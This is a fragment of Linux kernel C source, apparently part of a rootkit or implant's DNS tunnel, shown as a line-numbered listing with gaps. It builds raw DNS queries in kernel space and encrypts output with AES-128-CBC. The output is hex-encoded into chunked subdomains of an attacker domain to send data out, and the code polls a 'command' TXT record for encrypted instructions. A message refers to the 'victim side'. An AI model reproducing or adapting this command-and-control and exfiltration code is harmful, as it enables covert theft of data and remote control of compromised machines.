36 u8 *response_buffer,
int *response_length) {
38 struct sockaddr_in dest_addr;
39 struct msghdr msg = {};
52 get_random_bytes(&hdr->
id,
sizeof(hdr->
id));
53 hdr->
flags = htons(0x0100);
61 const char *p = query_name;
63 const char *dot = strchr(p,
'.');
64 int label_len = dot ? (dot - p) : strlen(p);
65 packet_buffer[offset++] = label_len;
67 memcpy(packet_buffer + offset, p, label_len);
76 packet_buffer[offset++] = 0;
79 *(__be16 *)(packet_buffer + offset) = question_type;
81 *(__be16 *)(packet_buffer + offset) = htons(1);
85 result = sock_create_kern(&init_net, AF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock);
92 memset(&dest_addr, 0,
sizeof(dest_addr));
93 dest_addr.sin_family = AF_INET;
94 dest_addr.sin_port = htons(
DNS_PORT);
95 in4_pton(
ip, -1, (u8 *)&dest_addr.sin_addr.s_addr, -1, NULL);
98 msg.msg_name = &dest_addr;
99 msg.msg_namelen =
sizeof(dest_addr);
106 iov.iov_base = packet_buffer;
107 iov.iov_len = offset;
108 result = kernel_sendmsg(sock, &msg, &iov, 1, offset);
111 kfree(packet_buffer);
119 iov.iov_base = packet_buffer;
121 result = kernel_recvmsg(sock, &msg, &iov, 1,
DNS_MAX_BUF, MSG_DONTWAIT);
123 memcpy(response_buffer, packet_buffer, result);
124 *response_length = result;
127 else if (result == -EAGAIN || result == -EWOULDBLOCK) {
128 *response_length = 0;
134 kfree(packet_buffer);
150 char *encrypted_msg = NULL;
151 size_t encrypted_len = 0;
154 if (
encrypt_buffer(data, data_len, &encrypted_msg, &encrypted_len) < 0)
162 vfree(encrypted_msg);
163 dns_send_data(
"Output on victim side too big. Use TCP instead. ", 47);
168 int response_length_local;
169 u8 *response_buffer_local;
172 response_buffer_local = kzalloc(
DNS_MAX_BUF, GFP_KERNEL);
173 if (!response_buffer_local) {
174 vfree(encrypted_msg);
179 for (chunk_index = 0; chunk_index < total_chunks; chunk_index++) {
184 char full_qname[200];
188 for (i = 0; i < chunk_size; i++)
189 sprintf(hex_buffer + 2 * i,
"%02x",
191 hex_buffer[2 * chunk_size] =
'\0';
195 snprintf(seq_label,
sizeof(seq_label),
"%02zx/%02zx-%s", chunk_index,
196 total_chunks, hex_buffer);
199 snprintf(full_qname,
sizeof(full_qname),
"%s.%s", seq_label,
DNS_DOMAIN);
203 &response_length_local);
210 vfree(encrypted_msg);
211 kfree(response_buffer_local);
224 u8 *response_buffer_local;
225 int response_length_local;
232 response_buffer_local = kzalloc(
DNS_MAX_BUF, GFP_KERNEL);
233 if (!response_buffer_local)
237 poll_qname = kmalloc(128, GFP_KERNEL);
238 snprintf(poll_qname, 128,
"command.%s",
DNS_DOMAIN);
241 result =
dns_send_query(poll_qname, htons(16), response_buffer_local,
242 &response_length_local);
245 kfree(response_buffer_local);
251 answer_count = ntohs(hdr->
ancount);
254 if (answer_count == 0) {
255 kfree(response_buffer_local);
261 while (offset < response_length_local && response_buffer_local[offset])
262 offset += response_buffer_local[offset] + 1;
268 if ((response_buffer_local[offset] & 0xC0) == 0xC0)
271 while (offset < response_length_local && response_buffer_local[offset])
272 offset += response_buffer_local[offset] + 1;
280 u16 rdlength = ntohs(*(__be16 *)(response_buffer_local + offset));
283 if (rdlength > 0 && offset < response_length_local) {
284 u8 txt_length = response_buffer_local[offset++];
285 if (txt_length >= max_length)
286 txt_length = max_length - 1;
288 char *decrypted = NULL;
289 size_t decrypted_len = 0;
291 if (
decrypt_buffer(response_buffer_local + offset, txt_length, &decrypted,
294 kfree(response_buffer_local);
298 memcpy(out_buffer, decrypted, decrypted_len);
299 out_buffer[decrypted_len] =
'\0';
302 kfree(response_buffer_local);
304 return decrypted_len;
308 kfree(response_buffer_local);
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
static int dns_send_query(const char *query_name, __be16 question_type, u8 *response_buffer, int *response_length)
Send a single DNS question and receive the raw response.